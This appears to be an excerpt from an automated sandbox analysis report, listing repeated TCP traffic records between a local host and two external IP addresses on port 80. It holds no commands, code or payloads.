              Source: global trafficTCP traffic: 192.185.89.92:80 -> 192.168.2.22:49161
              Source: global trafficTCP traffic: 192.168.2.22:49161 -> 192.185.89.92:80
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49162
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.185.89.92:80
              Source: global trafficTCP traffic: 192.185.89.92:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.185.89.92:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.185.89.92:80
              Source: global trafficTCP traffic: 192.185.89.92:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49162 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.185.89.92:80 -> 192.168.2.22:49163
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.185.89.92:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49164
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.185.89.92:80 -> 192.168.2.22:49161
              Source: global trafficTCP traffic: 192.168.2.22:49161 -> 192.185.89.92:80
              Source: global trafficTCP traffic: 192.168.2.22:49163 -> 192.185.89.92:80
              Source: global trafficTCP traffic: 192.168.2.22:49164 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 192.168.2.22:49165 -> 172.245.135.155:80
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
              Source: global trafficTCP traffic: 172.245.135.155:80 -> 192.168.2.22:49165
